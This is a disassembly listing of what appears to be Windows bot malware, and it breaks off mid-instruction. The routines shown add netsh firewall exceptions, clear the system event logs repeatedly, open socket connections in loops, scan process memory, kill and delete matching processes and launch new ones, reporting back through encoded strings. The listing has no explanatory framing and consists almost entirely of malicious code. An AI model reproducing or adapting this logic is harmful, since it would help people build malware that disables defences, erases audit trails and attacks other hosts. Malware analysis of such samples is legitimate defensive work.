GetModuleHandleA push eax call dword_43717C ; GetModuleFileNameA lea eax, [esp+98h+var_88] push eax push offset aFirewallAddAll ; "firewall add allowedprogram \"%s\" workst"... lea eax, [esp+0A0h+arg_A78] push 400h push eax call sub_429BBE add esp, 10h lea eax, [esp+98h+arg_A78] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_43725C lea eax, [esp+0B0h+var_A0] push eax push offset aFirewallSetAll ; "firewall set allowedprogram \"%s\" workst"... lea eax, [esp+0B8h+arg_E60] push 400h push eax call sub_429BBE add esp, 10h lea eax, [esp+0B0h+arg_E60] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_43725C push ebp call dword_437174 ; ExitThread pop edi pop esi pop ebp pop ebx sub_41EA30 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41EB9C proc near ; DATA XREF: sub_402CE9+3Fo var_200 = byte ptr -200h push ebp mov ebp, esp sub esp, 200h push dword_454A30 lea eax, [ebp+var_200] push offset aFirewallSetPor ; "firewall set portopening TCP %d FD" push 200h push eax call sub_429BBE add esp, 10h lea eax, [ebp+var_200] push 0 push 0 push eax push offset aNetsh ; "netsh" push offset aOpen ; "open" push 0 call dword_43725C push 0 call dword_437174 ; ExitThread sub_41EB9C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41EBE9 proc near ; DATA XREF: sub_40A9FE+1C6Co ; sub_418FA1+21Ao var_A0 = dword ptr -0A0h var_90 = dword ptr -90h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A0h mov eax, [ebp+arg_0] push ebx push edi mov [ebp+var_C], offset aApplication ; "application" mov dword ptr [eax+0BCh], 1 mov [ebp+var_8], offset aSecurity ; "security" mov [ebp+var_4], offset aSystem ; "system" loc_41EC16: ; CODE XREF: sub_41EBE9+AFj call dword_456E14 ; DnsFlushResolverCache call sub_427EDC xor edi, edi push 94h lea eax, [ebp+var_A0] push edi push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_A0] mov [ebp+var_A0], 94h push eax call dword_437050 ; GetVersionExA cmp [ebp+var_90], 2 jnz short loc_41EC80 loc_41EC58: ; CODE XREF: sub_41EBE9+95j push [ebp+edi*4+var_C] push 0 call dword_456E90 ; OpenEventLogA mov ebx, eax test ebx, ebx jz short loc_41EC7A push 0 push ebx call dword_456EA0 ; ClearEventLogA push ebx call dword_456E4C ; CloseEventLog loc_41EC7A: ; CODE XREF: sub_41EBE9+7Fj inc edi cmp edi, 3 jl short loc_41EC58 loc_41EC80: ; CODE XREF: sub_41EBE9+6Dj push 4F27AC0h push 32A3DE0h call sub_41E415 pop ecx pop ecx push eax call dword_437190 ; Sleep jmp loc_41EC16 sub_41EBE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC9D proc near ; DATA XREF: sub_40A9FE+76DEo var_9D64 = word ptr -9D64h var_9D62 = word ptr -9D62h var_9D60 = dword ptr -9D60h var_124 = dword ptr -124h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 9D64h call sub_429B60 mov eax, [ebp+arg_0] push ebx push esi push edi push 48h mov esi, eax pop ecx lea edi, [ebp+var_124] rep movsd xor edi, edi xor ebx, ebx inc edi cmp [ebp+var_14], ebx mov [eax+11Ch], edi mov eax, [ebp+var_124] mov [ebp+var_4], eax mov dword_458748, ebx jle loc_41EE02 loc_41ECE0: ; CODE XREF: sub_41EC9D+10Bj push ebx push edi push 2 call dword_4372BC ; socket mov ecx, dword_458748 cmp eax, ebx mov dword_458750[ecx*4], eax jl loc_41ED91 shl ecx, 4 push ebx push 10h lea eax, [ebp+ecx+var_9D64] push eax call sub_429760 mov eax, dword_458748 add esp, 0Ch shl eax, 4 mov [ebp+eax+var_9D64], 2 lea eax, [ebp+var_120] push eax call dword_4372C0 ; inet_addr mov ecx, dword_458748 push [ebp+var_1C] mov edx, ecx shl edx, 4 shl ecx, 4 mov [ebp+edx+var_9D60], eax mov esi, ecx call dword_4372C4 ; ntohs mov [ebp+esi+var_9D62], ax lea eax, [ebp+esi+var_9D64] push 10h push eax mov eax, dword_458748 push dword_458750[eax*4] call dword_4372CC ; connect lea eax, [ebp+arg_0+2] push edi push eax mov eax, dword_458748 push dword_458750[eax*4] call sub_42F4BE add esp, 0Ch loc_41ED91: ; CODE XREF: sub_41EC9D+5Cj push [ebp+var_18] call dword_437190 ; Sleep inc dword_458748 mov eax, dword_458748 cmp eax, [ebp+var_14] jl loc_41ECE0 jmp short loc_41EE02 ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: sub_41EC9D+170j push 2 push dword_458750[eax*4] call dword_437288 ; shutdown test eax, eax jge short loc_41EDCE push offset aShutdown ; "shutdown" call sub_42BEF9 pop ecx loc_41EDCE: ; CODE XREF: sub_41EC9D+124j mov eax, dword_458748 push dword_458750[eax*4] call sub_42F1A0 test eax, eax pop ecx jz short loc_41EDF0 push offset aCloseError ; "close error\n" call sub_42BEB8 jmp short loc_41EE01 ; --------------------------------------------------------------------------- loc_41EDF0: ; CODE XREF: sub_41EC9D+145j push dword_458748 push offset aClosedI ; "closed %i\n" call sub_42BEB8 pop ecx loc_41EE01: ; CODE XREF: sub_41EC9D+151j pop ecx loc_41EE02: ; CODE XREF: sub_41EC9D+3Dj ; sub_41EC9D+111j dec dword_458748 mov eax, dword_458748 jns short loc_41EDB0 push dword_458750[eax*4] call dword_4372D8 ; closesocket cmp [ebp+var_C], 0 mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" mov edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0" mov esi, offset aSSS_2 ; "%s %s -> %s" jnz short loc_41EE53 cmp [ebp+var_10], 0 jnz short loc_41EE59 lea eax, [ebp+var_120] push eax push ebx push edi lea eax, [ebp+var_A0] push esi push eax push [ebp+var_4] call sub_41CE4A add esp, 18h loc_41EE53: ; CODE XREF: sub_41EC9D+192j cmp [ebp+var_10], 0 jz short loc_41EE75 loc_41EE59: ; CODE XREF: sub_41EC9D+198j lea eax, [ebp+var_120] push eax push ebx push edi lea eax, [ebp+var_A0] push esi push eax push [ebp+var_4] call sub_41CDD4 add esp, 18h loc_41EE75: ; CODE XREF: sub_41EC9D+1BAj push [ebp+var_20] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread pop edi pop esi pop ebx sub_41EC9D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE89 proc near ; CODE XREF: sub_41F0F5+353p ; sub_41F0F5+385p var_5504 = byte ptr -5504h var_5503 = byte ptr -5503h var_504 = byte ptr -504h var_503 = byte ptr -503h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = byte ptr 20h arg_20 = dword ptr 28h arg_3C = byte ptr 44h push ebp mov ebp, esp mov eax, 5504h call sub_429B60 and [ebp+var_5504], 0 push ebx push esi push edi mov ecx, 13FFh xor eax, eax lea edi, [ebp+var_5503] and [ebp+var_504], 0 rep stosd stosw stosb mov ecx, 13Fh xor eax, eax lea edi, [ebp+var_503] push [ebp+arg_20] rep stosd stosw stosb xor edi, edi push edi push 1F0FFFh call dword_437114 ; OpenProcess mov [ebp+var_4], eax mov eax, [ebp+arg_10] mov [ebp+arg_10], eax jmp loc_41EFD8 ; --------------------------------------------------------------------------- loc_41EEEA: ; CODE XREF: sub_41EE89+152j push edi lea eax, [ebp+var_504] push 500h push eax push [ebp+arg_10] push [ebp+var_4] call dword_437110 ; ReadProcessMemory cmp eax, edi jz loc_41EFE1 lea eax, [ebp+var_504] push eax lea eax, [ebp+var_5504] push eax call sub_42A5E0 cmp off_447AEC, edi pop ecx pop ecx jz loc_41EFBD mov esi, offset off_447AEC mov ebx, esi loc_41EF33: ; CODE XREF: sub_41EE89+12Ej push dword ptr [esi] lea eax, [ebp+var_5504] push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_41EFB0 push dword ptr [ebx-4] lea eax, [ebp+arg_3C] push eax push dword ptr [esi] mov esi, offset dword_45AE60 push offset aAl_N0kenp20 ; "Al./N0Kenp20" push offset aSFoundStringSI ; "%s Found string \"%s\" in \"%s\" File \"%s\"" push esi call sub_429B03 add esp, 18h cmp [ebp+arg_4], edi jnz short loc_41EF7C push esi push [ebp+arg_C] push [ebp+arg_0] call sub_41CE4A add esp, 0Ch loc_41EF7C: ; CODE XREF: sub_41EE89+E2j push 7D0h call dword_437190 ; Sleep sub esp, 128h lea esi, [ebp+arg_18] push 4Ah pop ecx mov edi, esp push [ebp+arg_C] rep movsd push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41EFEF add esp, 138h xor edi, edi loc_41EFB0: ; CODE XREF: sub_41EE89+BCj add ebx, 8 mov esi, ebx cmp [ebx], edi jnz loc_41EF33 loc_41EFBD: ; CODE XREF: sub_41EE89+9Dj push 5000h lea eax, [ebp+var_5504] push edi push eax call sub_429760 add esp, 0Ch inc [ebp+arg_10] mov eax, [ebp+arg_10] loc_41EFD8: ; CODE XREF: sub_41EE89+5Cj cmp eax, [ebp+arg_14] jbe loc_41EEEA loc_41EFE1: ; CODE XREF: sub_41EE89+7Cj push [ebp+var_4] call dword_437044 ; CloseHandle pop edi pop esi pop ebx leave retn sub_41EE89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EFEF proc near ; CODE XREF: sub_41EE89+11Ap ; sub_41F0F5+25Fp ... var_228 = dword ptr -228h var_224 = byte ptr -224h var_208 = byte ptr -208h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_34 = byte ptr 3Ch push ebp mov ebp, esp sub esp, 228h and [ebp+var_228], 0 push esi push edi mov ecx, 88h push [ebp+arg_18] xor eax, eax lea edi, [ebp+var_224] rep stosd push 8 call sub_4290AC ; CreateToolhelp32Snapshot mov edi, eax lea eax, [ebp+var_228] push eax push edi mov [ebp+var_228], 224h call sub_4290A6 ; Module32First test eax, eax jz loc_41F0E3 mov esi, offset dword_45AE60 loc_41F040: ; CODE XREF: sub_41EFEF+EEj lea eax, [ebp+var_208] push eax lea eax, [ebp+arg_34] push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_41F0CE lea eax, [ebp+var_108] push 80h push eax call dword_437068 ; SetFileAttributesA push [ebp+arg_18] push 0 push 1F0FFFh call dword_437114 ; OpenProcess push 0 push eax mov [ebp+var_4], eax call dword_437118 ; TerminateProcess push 1F4h call dword_437190 ; Sleep lea eax, [ebp+var_108] push eax call dword_437060 ; DeleteFileA test eax, eax jz short loc_41F0CE lea eax, [ebp+var_108] push eax push offset aAl_N0kenp20 ; "Al./N0Kenp20" push offset aSTerminatedAnd ; "%s Terminated and deleted %s" push esi call sub_429B03 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_41F0CE push esi push [ebp+arg_C] push [ebp+arg_0] call sub_41CE4A add esp, 0Ch loc_41F0CE: ; CODE XREF: sub_41EFEF+64j ; sub_41EFEF+AEj ... lea eax, [ebp+var_228] push eax push edi call sub_4290A0 ; Module32Next test eax, eax jnz loc_41F040 loc_41F0E3: ; CODE XREF: sub_41EFEF+46j push [ebp+var_4] mov esi, dword_437044 call esi ; dword_437044 push edi call esi ; dword_437044 pop edi pop esi leave retn sub_41EFEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F0F5 proc near ; DATA XREF: sub_40A9FE+1DDBo var_260 = byte ptr -260h var_1D5 = byte ptr -1D5h var_1D4 = dword ptr -1D4h var_1B0 = byte ptr -1B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 260h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_AC] rep movsd mov esi, offset dword_45AF60 mov dword ptr [eax+98h], 1 mov eax, [ebp+var_AC] push 80h push esi push 0 mov [ebp+var_8], eax call dword_437070 ; GetModuleHandleA push eax call dword_43717C ; GetModuleFileNameA push 5Ch push esi call sub_42B060 push offset byte_454A54 push offset asc_44DABC ; "\\" push eax mov dword_45AFE0, eax call sub_4279FA add esp, 14h push 0 push 2 call sub_4290AC ; CreateToolhelp32Snapshot lea ecx, [ebp+var_1D4] mov [ebp+var_C], eax push ecx push eax mov [ebp+var_1D4], 128h mov byte ptr [ebp+arg_0+3], 1 call sub_4290B8 ; Process32First jmp loc_41F49A ; --------------------------------------------------------------------------- loc_41F18A: ; CODE XREF: sub_41F0F5+3A7j push dword_45AFE0 lea eax, [ebp+var_1B0] push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_41F1A4 and byte ptr [ebp+arg_0+3], al loc_41F1A4: ; CODE XREF: sub_41F0F5+AAj and [ebp+var_1D5], 0 mov eax, 600h push eax mov [ebp+var_10], eax call sub_4297B8 pop ecx mov esi, eax lea eax, [ebp+var_10] push 1 xor ebx, ebx push eax push esi mov [esi], ebx call sub_4290CA ; GetUdpTable cmp [esi], ebx jle short loc_41F209 lea edi, [esi+8] loc_41F1D3: ; CODE XREF: sub_41F0F5+112j mov ax, [edi] push eax call dword_4372A8 ; ntohs mov [ebp+var_4], eax push 8Ch lea eax, [ebp+var_260] push 0 push eax call sub_429760 add esp, 0Ch cmp word ptr [ebp+var_4], 45h jz loc_41F4C1 inc ebx add edi, 8 cmp ebx, [esi] jl short loc_41F1D3 loc_41F209: ; CODE XREF: sub_41F0F5+D9j push esi call sub_4298F2 pop ecx xor edi, edi push edi push 45h push offset dword_457CF8 call dword_456F7C ; inet_addr push eax call sub_4023BC add esp, 0Ch test eax, eax jnz loc_41F4FB loc_41F231: ; CODE XREF: sub_41F0F5+17Bj mov ebx, dword_437178 lea esi, off_448918[edi] lea eax, [ebp+var_1B0] push dword ptr [esi] push eax call ebx ; dword_437178 test eax, eax jnz short loc_41F24F and byte ptr [ebp+arg_0+3], al loc_41F24F: ; CODE XREF: sub_41F0F5+155j lea eax, [ebp+var_1B0] push eax push dword ptr [esi] call sub_427B4E pop ecx test eax, eax pop ecx jz short loc_41F267 and byte ptr [ebp+arg_0+3], 0 loc_41F267: ; CODE XREF: sub_41F0F5+16Cj add edi, 4 cmp edi, 668h jb short loc_41F231 xor edi, edi loc_41F274: ; CODE XREF: sub_41F0F5+1B8j lea esi, off_448F80[edi] lea eax, [ebp+var_1B0] push dword ptr [esi] push eax call ebx ; dword_437178 test eax, eax jnz short loc_41F28C and byte ptr [ebp+arg_0+3], al loc_41F28C: ; CODE XREF: sub_41F0F5+192j lea eax, [ebp+var_1B0] push eax push dword ptr [esi] call sub_427B4E pop ecx test eax, eax pop ecx jz short loc_41F2A4 and byte ptr [ebp+arg_0+3], 0 loc_41F2A4: ; CODE XREF: sub_41F0F5+1A9j add edi, 4 cmp edi, 88h jb short loc_41F274 xor edi, edi loc_41F2B1: ; CODE XREF: sub_41F0F5+1F5j lea esi, off_449008[edi] lea eax, [ebp+var_1B0] push dword ptr [esi] push eax call ebx ; dword_437178 test eax, eax jnz short loc_41F2C9 and byte ptr [ebp+arg_0+3], al loc_41F2C9: ; CODE XREF: sub_41F0F5+1CFj lea eax, [ebp+var_1B0] push eax push dword ptr [esi] call sub_427B4E pop ecx test eax, eax pop ecx jz short loc_41F2E1 and byte ptr [ebp+arg_0+3], 0 loc_41F2E1: ; CODE XREF: sub_41F0F5+1E6j add edi, 4 cmp edi, 0D0h jb short loc_41F2B1 and [ebp+var_4], 0 loc_41F2F0: ; CODE XREF: sub_41F0F5+2EAj mov eax, [ebp+var_4] push off_447E68[eax] lea eax, [ebp+var_1B0] push eax call ebx ; dword_437178 test eax, eax jnz short loc_41F35F cmp [ebp+var_18], eax jz short loc_41F32E lea eax, [ebp+var_1B0] push eax push offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp+var_A8] push offset aSKillingS ; "%s Killing %s" push eax push [ebp+var_8] call sub_41CE4A add esp, 14h loc_41F32E: ; CODE XREF: sub_41F0F5+214j sub esp, 128h lea eax, [ebp+var_A8] lea esi, [ebp+var_1D4] push 4Ah pop ecx mov edi, esp push eax push [ebp+var_18] rep movsd push [ebp+var_20] push [ebp+var_AC] call sub_41EFEF add esp, 138h loc_41F35F: ; CODE XREF: sub_41F0F5+20Fj lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_4] push off_447E68[eax] call sub_427B4E pop ecx test eax, eax pop ecx jz short loc_41F3D4 cmp [ebp+var_18], 0 jz short loc_41F3A3 lea eax, [ebp+var_1B0] push eax push offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp+var_A8] push offset aSMatchedAndKil ; "%s Matched and killing %s" push eax push [ebp+var_8] call sub_41CE4A add esp, 14h loc_41F3A3: ; CODE XREF: sub_41F0F5+289j sub esp, 128h lea eax, [ebp+var_A8] lea esi, [ebp+var_1D4] push 4Ah pop ecx mov edi, esp push eax push [ebp+var_18] rep movsd push [ebp+var_20] push [ebp+var_AC] call sub_41EFEF add esp, 138h loc_41F3D4: ; CODE XREF: sub_41F0F5+283j add [ebp+var_4], 4 cmp [ebp+var_4], 0AACh jb loc_41F2F0 cmp byte ptr [ebp+arg_0+3], 0 jz loc_41F487 cmp [ebp+var_18], 0 jz short loc_41F418 lea eax, [ebp+var_1B0] push eax push offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp+var_A8] push offset aSRunningAvscan ; "%s Running AVScan on %s" push eax push [ebp+var_8] call sub_41CE4A add esp, 14h loc_41F418: ; CODE XREF: sub_41F0F5+2FEj sub esp, 128h lea eax, [ebp+var_A8] lea esi, [ebp+var_1D4] push 4Ah pop ecx mov edi, esp push offset byte_4FFFFF push 400000h push eax push [ebp+var_18] rep movsd push [ebp+var_20] push [ebp+var_AC] call sub_41EE89 add esp, 18h lea eax, [ebp+var_A8] lea esi, [ebp+var_1D4] push 4Ah pop ecx mov edi, esp push 1FFFFFh push 100000h push eax push [ebp+var_18] rep movsd push [ebp+var_20] push [ebp+var_AC] call sub_41EE89 add esp, 140h jmp short loc_41F48B ; --------------------------------------------------------------------------- loc_41F487: ; CODE XREF: sub_41F0F5+2F4j mov byte ptr [ebp+arg_0+3], 1 loc_41F48B: ; CODE XREF: sub_41F0F5+390j lea eax, [ebp+var_1D4] push eax push [ebp+var_C] call sub_4290B2 ; Process32Next loc_41F49A: ; CODE XREF: sub_41F0F5+90j test eax, eax jnz loc_41F18A push [ebp+var_C] call dword_437044 ; CloseHandle call sub_42BF90 push [ebp+var_28] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread loc_41F4C1: ; CODE XREF: sub_41F0F5+106j cmp [ebp+var_18], 0 jz short loc_41F4EA lea eax, [ebp+var_1B0] push eax push offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp+var_A8] push offset aSBkillShutdown ; "%s bkill shutdown for wride." push eax push [ebp+var_8] call sub_41CE4A add esp, 14h loc_41F4EA: ; CODE XREF: sub_41F0F5+3D0j push [ebp+var_28] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread loc_41F4FB: ; CODE XREF: sub_41F0F5+136j cmp [ebp+var_18], edi jz short loc_41F523 lea eax, [ebp+var_1B0] push eax push offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp+var_A8] push offset aSBkillShutdown ; "%s bkill shutdown for wride." push eax push [ebp+var_8] call sub_41CE4A add esp, 14h loc_41F523: ; CODE XREF: sub_41F0F5+409j push [ebp+var_28] call sub_423623 pop ecx push edi call dword_437174 ; ExitThread sub_41F0F5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F533 proc near ; DATA XREF: sub_40A9FE+210Eo var_418 = byte ptr -418h var_314 = byte ptr -314h var_29C = byte ptr -29Ch var_198 = byte ptr -198h var_120 = dword ptr -120h var_F4 = dword ptr -0F4h var_F0 = word ptr -0F0h var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_58 = dword ptr -58h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 418h mov eax, [ebp+arg_0] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp+var_DC] rep movsd xor edi, edi push [ebp+var_54] inc edi mov esi, [ebp+var_48] mov [eax+0BCh], edi mov eax, [ebp+var_DC] mov [ebp+arg_0], eax mov eax, [ebp+var_44] mov [ebp+var_18], eax lea eax, [ebp+var_29C] push eax call dword_4370B4 ; lstrcpyA lea eax, [ebp+var_29C] push 104h push eax lea eax, [ebp+var_418] push eax call sub_429D10 add esp, 0Ch lea eax, [ebp+var_418] push eax call dword_456EAC ; PathRemoveFileSpecA test eax, eax jnz short loc_41F607 cmp [ebp+var_28], eax mov ebx, dword_437170 mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ." mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20" jnz short loc_41F5DC cmp [ebp+var_24], eax jnz short loc_41F5E6 call ebx ; dword_437170 push eax push edi push esi lea eax, [ebp+var_D8] push offset aSCouldnTPars_0 ; "%s Couldn't parse path, %s <%d>" push eax push [ebp+arg_0] call sub_41CE4A add esp, 18h loc_41F5DC: ; CODE XREF: sub_41F533+86j cmp [ebp+var_24], 0 jz loc_41F6E1 loc_41F5E6: ; CODE XREF: sub_41F533+8Bj call ebx ; dword_437170 push eax push edi push esi lea eax, [ebp+var_D8] push offset aSCouldnTPars_0 ; "%s Couldn't parse path, %s <%d>" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h jmp loc_41F6E1 ; --------------------------------------------------------------------------- loc_41F607: ; CODE XREF: sub_41F533+71j xor ebx, ebx push 44h lea eax, [ebp+var_120] push ebx push eax call sub_429760 push 10h lea eax, [ebp+var_14] push ebx push eax call sub_429760 add esp, 18h lea eax, [ebp+var_14] neg esi push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_418] push eax push ebx sbb esi, esi push ebx push ebx and esi, 0FFFFFFFBh push ebx lea eax, [ebp+var_29C] push ebx add esi, 5 push eax push ebx mov [ebp+var_120], 44h mov [ebp+var_F4], edi mov [ebp+var_F0], si call dword_4370D8 ; CreateProcessA test eax, eax jnz short loc_41F6E9 cmp [ebp+var_28], ebx mov ebx, dword_437170 mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ." mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20" jnz short loc_41F6B3 cmp [ebp+var_24], eax jnz short loc_41F6B9 call ebx ; dword_437170 push eax lea eax, [ebp+var_29C] push edi push eax push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0" push esi lea eax, [ebp+var_D8] push offset aSSToCreatePr_0 ; "%s %s to create proc: \"%s\", %s: <%d>" push eax push [ebp+arg_0] call sub_41CE4A add esp, 20h loc_41F6B3: ; CODE XREF: sub_41F533+151j cmp [ebp+var_24], 0 jz short loc_41F6E1 loc_41F6B9: ; CODE XREF: sub_41F533+156j call ebx ; dword_437170 push eax lea eax, [ebp+var_29C] push edi push eax push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0" push esi lea eax, [ebp+var_D8] push offset aSSToCreatePr_0 ; "%s %s to create proc: \"%s\", %s: <%d>" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 20h loc_41F6E1: ; CODE XREF: sub_41F533+ADj ; sub_41F533+CFj ... xor eax, eax inc eax jmp loc_41F86F ; --------------------------------------------------------------------------- loc_41F6E9: ; CODE XREF: sub_41F533+13Cj mov edi, dword_437188 call edi ; dword_437188 cmp [ebp+var_28], 0 mov [ebp+var_4], eax mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20" mov ebx, offset aSCreatedProcSP ; "%s Created proc: \"%s\", PID: <%d>" jnz short loc_41F728 cmp [ebp+var_24], 0 jnz short loc_41F72E push [ebp+var_C] lea eax, [ebp+var_29C] push eax push esi lea eax, [ebp+var_D8] push ebx push eax push [ebp+arg_0] call sub_41CE4A add esp, 18h loc_41F728: ; CODE XREF: sub_41F533+1CFj cmp [ebp+var_24], 0 jz short loc_41F74C loc_41F72E: ; CODE XREF: sub_41F533+1D5j push [ebp+var_C] lea eax, [ebp+var_29C] push eax push esi lea eax, [ebp+var_D8] push ebx push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h loc_41F74C: ; CODE XREF: sub_41F533+1F9j cmp [ebp+var_28], 0 jnz loc_41F848 cmp [ebp+var_18], 0 jz loc_41F848 push 0FFFFFFFFh push [ebp+var_14] call dword_43707C ; WaitForSingleObject call edi ; dword_437188 sub eax, [ebp+var_4] xor edx, edx mov ecx, 3E8h push 3Ch div ecx xor edx, edx mov ecx, 15180h pop edi and [ebp+var_198], 0 div ecx mov ecx, 0E10h mov eax, edx xor edx, edx div ecx mov ecx, eax mov eax, edx xor edx, edx div edi mov edi, dword_437090 test ecx, ecx mov ebx, edx mov [ebp+var_4], eax jbe short loc_41F7E3 cmp ecx, 1 mov eax, offset aHour ; " hour" jz short loc_41F7BD mov eax, offset aHours ; " hours" loc_41F7BD: ; CODE XREF: sub_41F533+283j push eax push ecx lea eax, [ebp+var_314] push offset aDS ; " %d%s" push eax call sub_429B03 add esp, 10h lea eax, [ebp+var_314] push eax lea eax, [ebp+var_198] push eax call edi ; dword_437090 loc_41F7E3: ; CODE XREF: sub_41F533+279j push ebx lea eax, [ebp+var_314] push [ebp+var_4] push offset a_2d_2d ; " %.2d:%.2d" push eax call sub_429B03 add esp, 10h lea eax, [ebp+var_314] push eax lea eax, [ebp+var_198] push eax call edi ; dword_437090 lea eax, [ebp+var_198] cmp [ebp+var_24], 0 push eax lea eax, [ebp+var_29C] push offset aIhfnL6b5x ; "/iHFN/l6B5X/" push eax push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0" lea eax, [ebp+var_D8] push esi push offset aSProcsSSTotalS ; "%s Procs %s: \"%s\", Total %s Time: %s." push eax push [ebp+arg_0] jnz short loc_41F840 call sub_41CE4A jmp short loc_41F845 ; --------------------------------------------------------------------------- loc_41F840: ; CODE XREF: sub_41F533+304j call sub_41CDD4 loc_41F845: ; CODE XREF: sub_41F533+30Bj add esp, 20h loc_41F848: ; CODE XREF: sub_41F533+21Dj ; sub_41F533+227j cmp [ebp+var_14], 0 mov esi, dword_437044 jz short loc_41F859 push [ebp+var_14] call esi ; dword_437044 loc_41F859: ; CODE XREF: sub_41F533+31Fj cmp [ebp+var_10], 0 jz short loc_41F864 push [ebp+var_10] call esi ; dword_437044 loc_41F864: ; CODE XREF: sub_41F533+32Aj push [ebp+var_58] call sub_423623 pop ecx xor eax, eax loc_41F86F: ; CODE XREF: sub_41F533+1B1j pop edi pop esi pop ebx leave retn 4 sub_41F533 endp ; =============== S U B R O U T I N E ======================================= sub_41F876 proc near ; DATA XREF: sub_40A9FE+1FD6o mov eax, offset loc_436654 call sub_42B7CC mov eax, 2AF8h call sub_429B60 mov eax, [ebp+8] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp-0E0h] rep movsd mov edi, [ebp-0E0h] xor esi, esi xor ebx, ebx inc esi cmp [ebp-4Ch], ebx mov [eax+0BCh], esi mov [ebp+8], edi jz loc_41FA40 mov al, [ebp+0Bh] push ebx push ebx lea ecx, [ebp-1Ch] mov [ebp-1Ch], al call sub_4202E3 mov [ebp-18h], eax mov [ebp-14h], ebx push dword ptr [ebp-54h] lea eax, [ebp-1Ch] mov [ebp-4], ebx push eax call sub_41FC58 pop ecx test al, al pop ecx jz loc_41F9DF cmp [ebp-28h], ebx mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20" lea eax, [ebp-0DCh] push esi push offset aSProcsList ; "%s Procs List:" push eax push edi jnz short loc_41F908 call sub_41CE4A jmp short loc_41F90D ; --------------------------------------------------------------------------- loc_41F908: ; CODE XREF: sub_41F876+89j call sub_41CDD4 loc_41F90D: ; CODE XREF: sub_41F876+90j add esp, 10h cmp [ebp-30h], ebx mov edi, offset aPidAMemoryUsag ; " PID - Memory Usage - Process" jz short loc_41F932 cmp [ebp-28h], ebx jnz short loc_41F937 lea eax, [ebp-0DCh] push edi push eax push dword ptr [ebp+8] call sub_41CE4A add esp, 0Ch loc_41F932: ; CODE XREF: sub_41F876+A2j cmp [ebp-28h], ebx jz short loc_41F94A loc_41F937: ; CODE XREF: sub_41F876+A7j lea eax, [ebp-0DCh] push edi push eax push dword ptr [ebp+8] call sub_41CDD4 add esp, 0Ch loc_41F94A: ; CODE XREF: sub_41F876+BFj mov eax, [ebp-18h] mov edi, [eax] cmp edi, eax jz short loc_41F9B9 loc_41F953: ; CODE XREF: sub_41F876+13Fj mov eax, [edi+108h] lea ebx, [edi+10Ch] push offset aK ; " K" push ebx mov [ebp-10h], eax call dword_437090 ; lstrcatA lea eax, [edi+8] push eax push ebx push dword ptr 